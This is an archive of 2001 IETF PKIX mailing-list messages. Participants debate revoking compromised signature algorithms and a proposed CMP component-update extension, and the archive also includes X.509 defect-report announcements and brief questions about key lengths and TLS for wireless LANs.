> > If we accept these risks and guard against them then 
> obviously I cannot
> > trust a compromised protocol to report on its own 
> compromise so logically I
> > must implement two different protocols simultaneously which both use
> > multiple algorithms which are independently passed through 
> two separate
> > implementations!
> 
> That is exactly what we want to do: two independent signature 
> algorithms. Is one
> compromised, the other will work securely and is able to 
> repair the compromised
> one.
> 

What about my extension to two protocols and two Crypto Libraries to cover
the compromise of these?

> > I do not know current practice within for example Identrus 
> on key lengths
> > but anybody correct me if I am wrong. The banks I am sure 
> are not routinely
> > using 4096 bit RSA keys even though these are much stronger 
> than 2048/1024
> > bits and are less likely to be broken.  The reason is that 
> they have made a
> > trade off between cost and security.  Any system must be 
> adequately secured
> > for the business purposes to which it is put. Any higher 
> security than this
> > is an unnecessary expense, it just gets interesting when defining
> > 'adequate'.
> >
> > Anything which adds to the cost of a system, which this 
> does by increasing
> > the complexity, must be justified by the value it adds. I 
> do not believe it
> > does in this case.
> 
> Yes, it is a question between cost and security. If the risks 
> are known and
> accepted then IMHO the companies will pay for it.
> 
> But again, do you mean that such an extension in CMP as I 
> proposed would be
> possible? I think on interoperational and migration matters: 
> If a user system
> receive a CMP PKIBody with tag [25] and cannot interpret it, 
> the system will
> reject this tag.
> 

In order to determine if it is possible I must have a bit more detail:

Please define Infocode, this is an OID that is interpreted by the software,
What is the software and what are the possible interpretations, if existing
software is to understand these codes then they must have predefined
meanings.  How does Infocode relate to the relevantID?

Does the use of freetext imply that the user is informed, can the user
influence anything or is this just a message to be displayed.  As this will
be permanently in the 

relevantID,  This identifies compromised components, I presume these would
be defined for all cryptographic algorithms with a range of key lengths and
protocols, presumably separate ones for any possible options would be needed
for example SSL with and without client authentication.  Who is going to be
responsible for allocating these OIDs?

newID identifies a new component, is this intended to instruct a system to
dynamically reconfigure itself? Again does the software have to understand
these OIDS, if so all possible new components must be predefined.

code, are you suggesting that this is the executable code to be used as the
new components referenced by newID or have I misread this completely.  If
this was intended to be the code then OS details etc are required as this
would be different for NT and Solaris systems.  All possible variants must
be included in the message

Once this extension has been sent what happens next, must it be permanently
left in place for any new users to read, is it removed after a period of
time or do all users acknowledge somehow that they have received it?
Certificates expire and can be removed from a CRL, these would never expire.

What happens if my system does not support RSA 4096 when this is mandated,
do I shut down?

Does this apply to other protocols, for example must I throw away all RSA
512 bit PGP keys when this is revoked within a PKI?

Graham

> Sönke
> 
> > To support Standards of PKIX as well, we ask for some 
> discussions about an
> > extension in CMP (PKIX - Certificate Management Protocols)
> > [<draft-ietf-pkix-rfc2510bis-02.txt>, November, 2000, Appendix F]:
> >
> >      PKIBody  ::=  CHOICE  {
> >         ...
> >         compUpdate [25]  UpdateData,    -- Extension for 
> Components Update
> >         }
> >
> >      UpdateData  ::=  SEQUENCE  {
> >        infoCode    OBJECT IDENTIFIER,
> >        freeText    UTF8String                 OPTIONAL,
> >        relevantID  SET OF ApplicationIdentifier,
> >        newID       AlgorithmIdentifier        OPTIONAL,
> >        code        BIT STRING                 OPTIONAL
> >        }
> >
> > UpdateData has the following meanings:
> > infoCode      a code that is interpreted by the software
> > freeText      readable text for the user
> > relevantID    Identifier of compromised components
> > newID         Identifier of new components
> > code          code of new components
> >
> 
_______________________________________________________________________

This message is confidential and is intended for the addressee only;
unless clearly stated that this disclaimer should not apply, this 
e-mail is not intended to create legally binding commitments on 
behalf of any company in the British Interactive Broadcasting 
Holdings Limited group,  nor do its contents reflect the corporate 
views or policies of any such company. Any unauthorised disclosure, 
use or dissemination, either whole or partial, is prohibited. If you 
are not the intended recipient of the message, please notify the
sender immediately.
_______________________________________________________________________

Date: Fri, 23 Feb 2001 12:09:42 +0100
From: Jean-Marc Desperrier <[email-masked]>
Organization: Certplus
To: [email-masked]
Subject: Re: multiple digitale signatures

"Bland, Graham" wrote:

> The banks I am sure are not routinely
> using 4096 bit RSA keys even though these are much stronger than 2048/1024
> bits and are less likely to be broken.

Are they ?

In the current state of technology and knowledge, you will need huge ressources
to break 1024 keys, but not huge enough to have the strong security margin that
would garanty there is no risk they will be broken within say 10 years.

Now if you take a key of 2048, this is doubling the length, this time the
ressources that you will need will be absolutely impressive, and clearly not
something that will be reached within a reasonnable time-frame.

If we are there to see a key size of 2048 broken, that quite probably will mean
someone has succeeded in proving the RSA algorythm to be much weaker than
believed currently, that he has found a method for resolution of RSA that
strongly lowers the complexity of the problem (complexity in the mathematical
meaning the increase of ressource needed to break a key with regard to the
increase of the key size) and _if_ there's such a fail in the RSA algorythm,
then even a 4096 key might not be that much more secure than a 2048.

Date: Fri, 23 Feb 2001 11:59:17 +0100
From: Joerg Seidel <[email-masked]>
Organization: timeproof
To: =?iso-8859-1?Q?S=F6nke?= Maseberg <[email-masked]>
CC: [email-masked]
Subject: Re: Algorithm revocation

Soenke,

Sönke Maseberg wrote:
> > > The problem of timestamps occurs if they uses the compromised signature
> > > algorithm too.
> >
> > timestamp should be logged for this reason. This avoids the problems with
> > the signature algorithm.
> >
> IMO logging transfers the problem only. How do you protect the logged data?
> With breaking of the media ('Medien-Bruch')?

It is an additional security layer. Logged data can be secured by securing the
access, by using WORM devices and/or by using interlinked lists. If you would
like to have a secure system, you would better not relay on security feature
(eg. digital signature) but use other independent security measures.

If one of the layers fails the other can help...

Joerg
-- 
__________________________________________________________________

Jörg Seidel                             phone  +49-40-76629-1911
Director Technology                     fax    +49-40-76629-551
timeproof GmbH                          
Harburger Schloßstraße 6-12             mailto:[email-masked]
DE 21079 Hamburg                        http://www.timeproof.de
__________________________________________________________________

Date: Fri, 23 Feb 2001 11:14:10 +0100
From: =?iso-8859-1?Q?S=F6nke?= Maseberg <[email-masked]>
To: "Bland, Graham" <[email-masked]>
CC: [email-masked]
Subject: Re: multiple digitale signatures

Graham,

> If we accept these risks and guard against them then obviously I cannot
> trust a compromised protocol to report on its own compromise so logically I
> must implement two different protocols simultaneously which both use
> multiple algorithms which are independently passed through two separate
> implementations!

That is exactly what we want to do: two independent signature algorithms. Is one
compromised, the other will work securly and is able to repair the compromised
one.

> I do not know current practice within for example Identrus on key lengths
> but anybody correct me if I am wrong. The banks I am sure are not routinely
> using 4096 bit RSA keys even though these are much stronger than 2048/1024
> bits and are less likely to be broken.  The reason is that they have made a
> trade off between cost and security.  Any system must be adequately secured
> for the business purposes to which it is put. Any higher security than this
> is an unnecessary expense, it just gets interesting when defining
> 'adequate'.
>
> Anything which adds to the cost of a system, which this does by increasing
> the complexity, must be justified by the value it adds. I do not believe it
> does in this case.

Yes, it is a question between cost and security. If the risks are known and
accepted then IMHO the companies will pay for it.

But again, do you mean that such an extension in CMP as I proposed would be
possible? I think on interoperational and migration matters: If a user system
receive a CMP PKIBody with tag [25] and cannot interpret it, the system will
reject this tag.

Sönke

> To support Standards of PKIX as well, we ask for some discussions about an
> extension in CMP (PKIX - Certificate Management Protocols)
> [<draft-ietf-pkix-rfc2510bis-02.txt>, November, 2000, Appendix F]:
>
>      PKIBody  ::=  CHOICE  {
>         ...
>         compUpdate [25]  UpdateData,    -- Extension for Components Update
>         }
>
>      UpdateData  ::=  SEQUENCE  {
>        infoCode    OBJECT IDENTIFIER,
>        freeText    UTF8String                 OPTIONAL,
>        relevantID  SET OF ApplicationIdentifier,
>        newID       AlgorithmIdentifier        OPTIONAL,
>        code        BIT STRING                 OPTIONAL
>        }
>
> UpdateData has the following meanings:
> infoCode      a code that is interpreted by the software
> freeText      readable text for the user
> relevantID    Identifier of compromised components
> newID         Identifier of new components
> code          code of new components
>

Date: Fri, 23 Feb 2001 10:12:44 +0100
From: =?iso-8859-1?Q?S=F6nke?= Maseberg <[email-masked]>
To: Joerg Seidel <[email-masked]>
CC: [email-masked]
Subject: Re: Algorithm revocation

Joerg,

IMO logging transfers the problem only. How do you protect the logged data? With
breaking of the media ('Medien-Bruch')?

Sönke

Joerg Seidel schrieb:

> Hi,
>
> Soenke Maseberg wrote:
> > > However, signed timestamp pyramiding ought to protect against later
> > > compromises of algorithms which are not believed to be questionable at the
> > > time of the OCSP check.
> >
> > The problem of timestamps occurs if they uses the compromised signature
> > algorithm too.
>
> timestamp should be logged for this reason. This avoids the problems with the
> signature algorithm.
>
> Jörg
> --
> __________________________________________________________________
>
> Jörg Seidel                             phone  +49-40-76629-1911
> Director Technology                     fax    +49-40-76629-551
> timeproof GmbH
> Harburger Schloßstraße 6-12             mailto:[email-masked]
> DE 21079 Hamburg                        http://www.timeproof.de
> __________________________________________________________________

Date: Fri, 23 Feb 2001 10:09:25 +0100
From: =?iso-8859-1?Q?S=F6nke?= Maseberg <[email-masked]>
To: jim <[email-masked]>
CC: "Bland, Graham" <[email-masked]>, [email-masked]
Subject: Re: multiple digitale signatures

Jim,

what I mean by proofable secure signature algorithm is a mathematical proof for its
correctness. Please show me a signature algorithm and the mathematical proof that it is
not possible
- to calculate private key from knowledge of public key,
- to calculate private key from knowledge of public key and some signatures
- to calculate private key from knowledge of public key and some signatures with the
signed document,
- to generate a valid signature from other signatures or
- to change a document without change of the signature (compromise of the hashfunction)
IMHO there is only experience that the signature algorithms are suitable for signature
creation but no proof.

Sönke

jim schrieb:

> Sonke,
>     I am not sure what you mean by proofable secure.  Please clarify.  If you mean
> that it is not by itself secure and therefore proof of its secureness cannot be
> verified after the fact, then I do understand, but if you are saying that signatures
> are inherently not able to provide proof of the authenticity of the signee, then
> that is the reason that many CP and CPSs require the use of encryption any time
> something is going to be signed.  In this manner, the encryption outer wrapping
> protects the integrity of the signature providing proofability of the authenticity
> of the signature.  IMHO, both have to be there.
> Jim
>

From: "Bland, Graham" <[email-masked]>
To: =?iso-8859-1?Q?=27S=F6nke_Maseberg=27?= <[email-masked]>
Cc: [email-masked]
Subject: RE: multiple digitale signatures
Date: Fri, 23 Feb 2001 08:23:12 -0000

Sonke,

Again as devils advocate, In the past protocols have also shown themselves
to have flaws which can be compromised, for example SSL V2 is no longer
recommended, should a protocol identifier and version be added to the list?

I is quite possible that some cryptographic implementations in both hardware
or software could be compromised, should these also be added to the list?

If we accept these risks and guard against them then obviously I cannot
trust a compromised protocol to report on its own compromise so logically I
must implement two different protocols simultaneously which both use
multiple algorithms which are independently passed through two separate
implementations!

I do not know current practice within for example Identrus on key lengths
but anybody correct me if I am wrong. The banks I am sure are not routinely
using 4096 bit RSA keys even though these are much stronger than 2048/1024
bits and are less likely to be broken.  The reason is that they have made a
trade off between cost and security.  Any system must be adequately secured
for the business purposes to which it is put. Any higher security than this
is an unnecessary expense, it just gets interesting when defining
'adequate'.

Anything which adds to the cost of a system, which this does by increasing
the complexity, must be justified by the value it adds. I do not believe it
does in this case.

I think we have two opposing views and must accept that. May I suggest that
if you are still not convinced then you ask the chair to put it to a vote.

Graham

-----Original Message-----
From: Sönke Maseberg [mailto:[email-masked]]
Sent: 22 February 2001 08:50
To: Bland, Graham
Cc: [email-masked]
Subject: Re: multiple digitale signatures

I understand now the problems on revocation.

But I want to point out, that there is no signature algorithm that is
proofable
secure. Yes, the established algorithms are analysed and they seem to be
secure,
but we cannot exclude the sudden compromise of a signature algorithm. On the
other hand a lot of companies, banks or governments rely on PKI
technologies.
What would happen if a failure occurs? The reason can also be an incorrect
implementation. E.g. think of Identrus - the worldwide PKI of some banks:
What
would happen if Identrus doesn't work and the banks cannot communicate
securely?

For this reason we want to build a flexible public key infrastructure which
can
be used to exchange compomised components securely.

To support Standards of PKIX as well, we ask for some discussions about an
extension in CMP (PKIX - Certificate Management Protocols)
[<draft-ietf-pkix-rfc2510bis-02.txt>, November, 2000, Appendix F]:

     PKIBody  ::=  CHOICE  {
        ...
        compUpdate [25]  UpdateData,    -- Extension for Components Update
        }

     UpdateData  ::=  SEQUENCE  {
       infoCode    OBJECT IDENTIFIER,
       freeText    UTF8String                 OPTIONAL,
       relevantID  SET OF ApplicationIdentifier,
       newID       AlgorithmIdentifier        OPTIONAL,
       code        BIT STRING                 OPTIONAL
       }

UpdateData has the following meanings:
infoCode      a code that is interpreted by the software
freeText      readable text for the user
relevantID    Identifier of compromised components
newID         Identifier of new components
code          code of new components

Thanks in advance,
Sönke

"Bland, Graham" schrieb:

> Sonke,
>
> I think we have a fundamental philosophical disagreement.
> A CA is responsible for the certificates it issues only according to the
> clauses it places in its CPS.  It does not necessarily know the business
> purposes to which the certificates will be put For example there is a
great
> difference in my use of a certificate to sign a $100 million contract
> opposed to its use to secure possibly embarrassing valentines emails to my
> wife.
> The CA does not know, has no interest in knowing and has no responsibility
> for the use to which the certificate is put.  As such it is not a
competent
> agency to determine if it should revoke my certificate, it may only
respond
> to my request for revocation.
>
> The other problem is that I just do not believe that when prudence is used
> to select established algorithms that have been subject to review and
> cryptanalysis such algorithms are suddenly compromised.  However even
> established algorithms will become weaker over time due if nothing else
but
> Moores law.
> While your model works in the first case which I believe will not happen,
it
> does not work in the second case which I know will.
>
> Graham Bland
>
> From: Sönke Maseberg [mailto:[email-masked]]
> Sent: 21 February 2001 10:03
> To: [email-masked]; [email-masked]
> Subject: RE: multiple digitale signatures
>
> Graham,
>
> we are working at the problems if a signature algorithm is compromised
> suddenly without any time to change the algorithm parameters, keys oder
> key lengths. IMO the CA is responsible for the certificates of the CHs.
> If now a failure occurs, the shocked certificates have to be revoked.
> The idea is to revoke the certificates not explicitly but implicitly
> through the revocation of the used signature algorithms. The benefit
> would be a shorter CRL, and the benefit grows up if many CHs are
> involved.
>
> I agree that for multiple digital signatures different signature
> algorithms have to be used with independent components like hash
> algorithm and independent basic mathematical problems. The use of
> multiple digital signatures is optional in relation to the specific
> application: In authentication applications it makes less sense. But the
> signatures in e.g. e-government have to be proofable for many years.
>
> Sönke
>
> _______________________________________________________________________
>
> This message is confidential and is intended for the addressee only;
> unless clearly stated that this disclaimer should not apply, this
> e-mail is not intended to create legally binding commitments on
> behalf of any company in the British Interactive Broadcasting
> Holdings Limited group,  nor do its contents reflect the corporate
> views or policies of any such company. Any unauthorised disclosure,
> use or dissemination, either whole or partial, is prohibited. If you
> are not the intended recipient of the message, please notify the
> sender immediately.
> _______________________________________________________________________
_______________________________________________________________________

This message is confidential and is intended for the addressee only;
unless clearly stated that this disclaimer should not apply, this 
e-mail is not intended to create legally binding commitments on 
behalf of any company in the British Interactive Broadcasting 
Holdings Limited group,  nor do its contents reflect the corporate 
views or policies of any such company. Any unauthorised disclosure, 
use or dissemination, either whole or partial, is prohibited. If you 
are not the intended recipient of the message, please notify the
sender immediately.
_______________________________________________________________________

Date: Thu, 22 Feb 2001 12:04:10 -0700
To: "X.509":;
From: "Hoyt L. Kesterson II" <[email-masked]>
Subject: a correction to DR275

hello

david chadwick found an error in the OID assignment in DR 275

the revised DR can be found  at

ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/DefectReports/X.509andRelated/DR_275Rev1.pdf

thanks david

    hoyt

From: [email-masked] (Peter Gutmann)
To: [email-masked]
Subject: Re: multiple digitale signatures
Sender: [email-masked]
Reply-To: [email-masked]
Date: Fri, 23 Feb 2001 04:56:32 (NZDT)

SM-vnke Maseberg <[email-masked]> writes:

>But I want to point out, that there is no signature algorithm that is
>proofable secure. Yes, the established algorithms are analysed and they seem
>to be secure, but we cannot exclude the sudden compromise of a signature
>algorithm. On the other hand a lot of companies, banks or governments rely on
>PKI technologies. What would happen if a failure occurs? 

What will happen depends on the signature algorithm which is compromised:

RSA: The entire world will find out.  It'll be on the evening news, and the
     front page of most papers.  As yet undiscovered tribes in the jungles of
     Borneo will have missionaries hacking their way through the undergrowth
     just to tell them.

DSA: The few government users who care will read about it in Government
     Computer News and keep using it anyway while they await orders from on
     high on what to do next.  NIST will convene a standards group to look 
     into the matter with a preliminary draft due in early 2003.  ANSI will
     also work on resolving this with a draft due in 2003, but it won't
     actually be published until 2012.  Neither of these versions will be 
     even remotely compatible with any existing work.  Leaked, obsolete 
     copies will be incorporated in part into some RFCs.

X9.42 DH (which isn't actually a signature algorithm anyway), various ECCs, and
     others: In 6-12 months there will be a paper in Crypto or Eurocrypt which
     cryptographers will agree is a brilliant attack and which everyone else
     will ignore completely.

I can't see that any of these cases require the introduction of any complex new
dual-signature mechanism to augment them.  If there's a sudden compromise
(which, as others have pointed out, is incredibly unlikely), it'll be handled
through standard channels.  End of story, now we can get back to debating how
many name constraints can fit on the head of a pin.

Peter.

Date: Thu, 22 Feb 2001 10:52:28 -0500
From: jim <[email-masked]>
To: =?iso-8859-1?Q?S=F6nke?= Maseberg <[email-masked]>
CC: "Bland, Graham" <[email-masked]>, [email-masked]
Subject: Re: multiple digitale signatures

Sonke,
    I am not sure what you mean by proofable secure.  Please clarify.  If you mean
that it is not by itself secure and therefore proof of its secureness cannot be
verified after the fact, then I do understand, but if you are saying that signatures
are inherently not able to provide proof of the authenticity of the signee, then
that is the reason that many CP and CPSs require the use of encryption any time
something is going to be signed.  In this manner, the encryption outer wrapping
protects the integrity of the signature providing proofability of the authenticity
of the signature.  IMHO, both have to be there.
Jim

Sönke Maseberg wrote:

> I understand now the problems on revocation.
>
> But I want to point out, that there is no signature algorithm that is proofable
> secure. Yes, the established algorithms are analysed and they seem to be secure,
> but we cannot exclude the sudden compromise of a signature algorithm. On the
> other hand a lot of companies, banks or governments rely on PKI technologies.
> What would happen if a failure occurs? The reason can also be an incorrect
> implementation. E.g. think of Identrus - the worldwide PKI of some banks: What
> would happen if Identrus doesn't work and the banks cannot communicate securely?
>
> For this reason we want to build a flexible public key infrastructure which can
> be used to exchange compomised components securely.
>
> To support Standards of PKIX as well, we ask for some discussions about an
> extension in CMP (PKIX - Certificate Management Protocols)
> [<draft-ietf-pkix-rfc2510bis-02.txt>, November, 2000, Appendix F]:
>
>      PKIBody  ::=  CHOICE  {
>         ...
>         compUpdate [25]  UpdateData,    -- Extension for Components Update
>         }
>
>      UpdateData  ::=  SEQUENCE  {
>        infoCode    OBJECT IDENTIFIER,
>        freeText    UTF8String                 OPTIONAL,
>        relevantID  SET OF ApplicationIdentifier,
>        newID       AlgorithmIdentifier        OPTIONAL,
>        code        BIT STRING                 OPTIONAL
>        }
>
> UpdateData has the following meanings:
> infoCode      a code that is interpreted by the software
> freeText      readable text for the user
> relevantID    Identifier of compromised components
> newID         Identifier of new components
> code          code of new components
>
> Thanks in advance,
> Sönke
>
> "Bland, Graham" schrieb:
>
> > Sonke,
> >
> > I think we have a fundamental philosophical disagreement.
> > A CA is responsible for the certificates it issues only according to the
> > clauses it places in its CPS.  It does not necessarily know the business
> > purposes to which the certificates will be put For example there is a great
> > difference in my use of a certificate to sign a $100 million contract
> > opposed to its use to secure possibly embarrassing valentines emails to my
> > wife.
> > The CA does not know, has no interest in knowing and has no responsibility
> > for the use to which the certificate is put.  As such it is not a competent
> > agency to determine if it should revoke my certificate, it may only respond
> > to my request for revocation.
> >
> > The other problem is that I just do not believe that when prudence is used
> > to select established algorithms that have been subject to review and
> > cryptanalysis such algorithms are suddenly compromised.  However even
> > established algorithms will become weaker over time due if nothing else but
> > Moores law.
> > While your model works in the first case which I believe will not happen, it
> > does not work in the second case which I know will.
> >
> > Graham Bland
> >
> > From: Sönke Maseberg [mailto:[email-masked]]
> > Sent: 21 February 2001 10:03
> > To: [email-masked]; [email-masked]
> > Subject: RE: multiple digitale signatures
> >
> > Graham,
> >
> > we are working at the problems if a signature algorithm is compromised
> > suddenly without any time to change the algorithm parameters, keys oder
> > key lengths. IMO the CA is responsible for the certificates of the CHs.
> > If now a failure occurs, the shocked certificates have to be revoked.
> > The idea is to revoke the certificates not explicitly but implicitly
> > through the revocation of the used signature algorithms. The benefit
> > would be a shorter CRL, and the benefit grows up if many CHs are
> > involved.
> >
> > I agree that for multiple digital signatures different signature
> > algorithms have to be used with independent components like hash
> > algorithm and independent basic mathematical problems. The use of
> > multiple digital signatures is optional in relation to the specific
> > application: In authentication applications it makes less sense. But the
> > signatures in e.g. e-government have to be proofable for many years.
> >
> > Sönke
> >
> > _______________________________________________________________________
> >
> > This message is confidential and is intended for the addressee only;
> > unless clearly stated that this disclaimer should not apply, this
> > e-mail is not intended to create legally binding commitments on
> > behalf of any company in the British Interactive Broadcasting
> > Holdings Limited group,  nor do its contents reflect the corporate
> > views or policies of any such company. Any unauthorised disclosure,
> > use or dissemination, either whole or partial, is prohibited. If you
> > are not the intended recipient of the message, please notify the
> > sender immediately.
> > _______________________________________________________________________

Date: Thu, 22 Feb 2001 13:43:11 +0100
From: Joerg Seidel <[email-masked]>
Organization: timeproof
CC: [email-masked]
Subject: Re: Algorithm revocation

Hi,

Soenke Maseberg wrote:
> > However, signed timestamp pyramiding ought to protect against later
> > compromises of algorithms which are not believed to be questionable at the
> > time of the OCSP check.
> 
> The problem of timestamps occurs if they uses the compromised signature
> algorithm too.

timestamp should be logged for this reason. This avoids the problems with the
signature algorithm.

Jörg
-- 
__________________________________________________________________

Jörg Seidel                             phone  +49-40-76629-1911
Director Technology                     fax    +49-40-76629-551
timeproof GmbH                          
Harburger Schloßstraße 6-12             mailto:[email-masked]
DE 21079 Hamburg                        http://www.timeproof.de
__________________________________________________________________

Sender: [email-masked]
Date: Thu, 22 Feb 2001 14:56:36 +0530
From: AnanthaNarayanan <[email-masked]>
To: pkix <[email-masked]>
Subject: unsubsribe

This is a multi-part message in MIME format.
--------------FC32E247A134820C5566E63B
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

unsubscribe ietf-pkix AnanthaNarayanan <[email-masked]

--------------FC32E247A134820C5566E63B
Content-Type: text/x-vcard; charset=us-ascii;
 name="ananthu.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for AnanthaNarayanan
Content-Disposition: attachment;
 filename="ananthu.vcf"

begin:vcard 
n:narayanan;Ananthu
x-mozilla-html:FALSE
adr:;;;;;;
version:2.1
email;internet:[email-masked]
note:						
x-mozilla-cpt:;0
fn:Ananthu narayanan
end:vcard

--------------FC32E247A134820C5566E63B--

Date: Thu, 22 Feb 2001 09:49:51 +0100
From: =?iso-8859-1?Q?S=F6nke?= Maseberg <[email-masked]>
To: "Bland, Graham" <[email-masked]>
CC: [email-masked]
Subject: Re: multiple digitale signatures

I understand now the problems on revocation.

But I want to point out, that there is no signature algorithm that is proofable
secure. Yes, the established algorithms are analysed and they seem to be secure,
but we cannot exclude the sudden compromise of a signature algorithm. On the
other hand a lot of companies, banks or governments rely on PKI technologies.
What would happen if a failure occurs? The reason can also be an incorrect
implementation. E.g. think of Identrus - the worldwide PKI of some banks: What
would happen if Identrus doesn't work and the banks cannot communicate securely?

For this reason we want to build a flexible public key infrastructure which can
be used to exchange compomised components securely.

To support Standards of PKIX as well, we ask for some discussions about an
extension in CMP (PKIX - Certificate Management Protocols)
[<draft-ietf-pkix-rfc2510bis-02.txt>, November, 2000, Appendix F]:

     PKIBody  ::=  CHOICE  {
        ...
        compUpdate [25]  UpdateData,    -- Extension for Components Update
        }

     UpdateData  ::=  SEQUENCE  {
       infoCode    OBJECT IDENTIFIER,
       freeText    UTF8String                 OPTIONAL,
       relevantID  SET OF ApplicationIdentifier,
       newID       AlgorithmIdentifier        OPTIONAL,
       code        BIT STRING                 OPTIONAL
       }

UpdateData has the following meanings:
infoCode      a code that is interpreted by the software
freeText      readable text for the user
relevantID    Identifier of compromised components
newID         Identifier of new components
code          code of new components

Thanks in advance,
Sönke

"Bland, Graham" schrieb:

> Sonke,
>
> I think we have a fundamental philosophical disagreement.
> A CA is responsible for the certificates it issues only according to the
> clauses it places in its CPS.  It does not necessarily know the business
> purposes to which the certificates will be put For example there is a great
> difference in my use of a certificate to sign a $100 million contract
> opposed to its use to secure possibly embarrassing valentines emails to my
> wife.
> The CA does not know, has no interest in knowing and has no responsibility
> for the use to which the certificate is put.  As such it is not a competent
> agency to determine if it should revoke my certificate, it may only respond
> to my request for revocation.
>
> The other problem is that I just do not believe that when prudence is used
> to select established algorithms that have been subject to review and
> cryptanalysis such algorithms are suddenly compromised.  However even
> established algorithms will become weaker over time due if nothing else but
> Moores law.
> While your model works in the first case which I believe will not happen, it
> does not work in the second case which I know will.
>
> Graham Bland
>
> From: Sönke Maseberg [mailto:[email-masked]]
> Sent: 21 February 2001 10:03
> To: [email-masked]; [email-masked]
> Subject: RE: multiple digitale signatures
>
> Graham,
>
> we are working at the problems if a signature algorithm is compromised
> suddenly without any time to change the algorithm parameters, keys oder
> key lengths. IMO the CA is responsible for the certificates of the CHs.
> If now a failure occurs, the shocked certificates have to be revoked.
> The idea is to revoke the certificates not explicitly but implicitly
> through the revocation of the used signature algorithms. The benefit
> would be a shorter CRL, and the benefit grows up if many CHs are
> involved.
>
> I agree that for multiple digital signatures different signature
> algorithms have to be used with independent components like hash
> algorithm and independent basic mathematical problems. The use of
> multiple digital signatures is optional in relation to the specific
> application: In authentication applications it makes less sense. But the
> signatures in e.g. e-government have to be proofable for many years.
>
> Sönke
>
> _______________________________________________________________________
>
> This message is confidential and is intended for the addressee only;
> unless clearly stated that this disclaimer should not apply, this
> e-mail is not intended to create legally binding commitments on
> behalf of any company in the British Interactive Broadcasting
> Holdings Limited group,  nor do its contents reflect the corporate
> views or policies of any such company. Any unauthorised disclosure,
> use or dissemination, either whole or partial, is prohibited. If you
> are not the intended recipient of the message, please notify the
> sender immediately.
> _______________________________________________________________________

Date: Thu, 22 Feb 2001 00:24:12 -0700
To: "X.509":;
From: "Hoyt L. Kesterson II" <[email-masked]>
Subject: Defect reports against X.509

Hello

I have posted some defect reports on the server. Three of these (DRs 272, 273, and 274) are revisions of proposed defect resolutions that I posted in late November of last year. There was a substantial amount of comment. These revised texts should address those comments.

In addition I have posted DRs 275 - 277. The subject of the DRs are

DR 272 - Certification path length
DR 273 - Name constraints
DR 274 - Attribute certificate version
DR 275 - Extended key usage
DR 276 - Any policy in self-issued certificates
DR 277 - Requires explicit policy skip certs value

The DRs can be found at

ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/DefectReports/X.509andRelated/DR_272Rev1.pdf

ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/DefectReports/X.509andRelated/DR_273Rev1.pdf

ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/DefectReports/X.509andRelated/DR_274Rev2.pdf

ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/DefectReports/X.509andRelated/DR_275.pdf

ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/DefectReports/X.509andRelated/DR_276.pdf

ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/DefectReports/X.509andRelated/DR_277.pdf

We plan to submit these solutions, within the next two weeks, for formal voting in ISO. Therefore if there are any concerns about the proposed solutions, please let us know as soon as possible so any necessary modifications can be made before submitting to ballot.

On the issue of name constraints, we would like to thank the PKIX profile editors and contributors for all the effort they gave between the last PKIX meeting and the X.509 meeting in Geneva in late January. That effort ensured that we arrived at a single solution that satisfies the combined requirements that have arisen in both groups. This solution was reviewed during the meeting meeting in Geneva and has the support of those present at that meeting.

We have also approved Technical Corrigenda to both the 3rd and 4th editions. They can be found at

ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/TechnicalCorrigenda/ApprovedTechnicalCorrigendaToX.509/TC1toX.509%7C8-4thEdition.pdf

ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/TechnicalCorrigenda/ApprovedTechnicalCorrigendaToX.509/TC9toX.509%7C8-3rdEdition.pdf

The TC to the 4th edition will be incorporated into the 4th edition. ITU has not been able to published the document as originally scheduled but I expect they will have it out in the next few months. In the interim we will publish yet another "final" version of X.509 on the server within the next few weeks. It will be announced to these lists when it is available.

Date: Wed, 21 Feb 2001 21:03:41 -0500
To: =?iso-8859-1?Q?S=F6nke?= Maseberg <[email-masked]>
From: Stephen Kent <[email-masked]>
Subject: Re: Algorithm revocation
Cc: [email-masked]

Sönke,

>Steve,
>
>I would like to quote 'PKIX Roadmap- March 10, 2000'
>[<draft-ietf-pkix-roadmap-05.txt>], part 3.5.6.2. Key Compromise
>
>  In the case of a key compromise, the transition will not be
>  "graceful" in that there will be an unplanned switch of PKCs and
>  keys; users will not have known in advance what was about to happen.
>  Still, the PKI must support the ability to declare that the previous
>  PKC is now invalid and shall not be used, and to announce the
>  validity and availability of the new PKC.
>
>  Note: compromise of a private key associated with a Root CA is
>  catastrophic for users relying on that Root CA. If a Root CA's
>  private key is compromised, that CA's PKC must be revoked and all
>  PKCs subordinate to it must also be revoked. Until such time as the
>  Root CA has been issued a new PKC and the Root CA issues PKCs to
>  users relying upon it, users relying on that Root CA are cut off
>  from the rest of the system, as there is no way to develop a valid
>  certification path back to a trusted node.
>
>  Further, users will likely have to be notified by out-of-band
>  mechanisms about the change in CA keys. [...]
>
>To avoid these out-of-band mechanisms IMO multiply-signed CRLs or OCSP
>responses are necessary.

As Graham noted, the text here refers to private key compromise, not 
to what you have termed algorithm compromise (definitely not a 
standard term). Also, as Graham noted, algorithm compromises for 
widely deployed, well analyzed algorithms have not been sudden 
events. So, while one might argue for multiple signatures on CRLs and 
OCSP responses to address this concern, it seems rather late in the 
game to make such substantial changes for what appears to be a very 
low likelihood event.

Steve

Sender: [email-masked]
Date: Wed, 21 Feb 2001 16:08:38 -0800
From: Michael Sierchio <[email-masked]>
To: [email-masked]
CC: [email-masked], [email-masked]
Subject: Re: Use of TLS for authentication/encryption in wireless( LANS )

[email-masked] wrote:

> Can you point me to any comprehensive references/books on use of TLS for
> authentication of wireless clients/servers in a WLAN?

TLS isn't appropriate for WLAN. WLAN implies Layer 2 security -- WEP, etc.
and the recent 802.11(e) efforts.  802.11(e) and some of the Public Key
based solutions for user and device authentication could readily make use
of some of the tools provided by OpenSSL,  but nothing in the protocol.

From: [email-masked]
To: [email-masked], [email-masked]
Date: Wed, 21 Feb 2001 16:02:04 -0800
Subject: Use of TLS for authentication/encryption in wireless( LANS )

Hi All,

Can you point me to any comprehensive references/books on use of TLS for
authentication of wireless clients/servers in a WLAN?

Thank you,

Areg Alimian

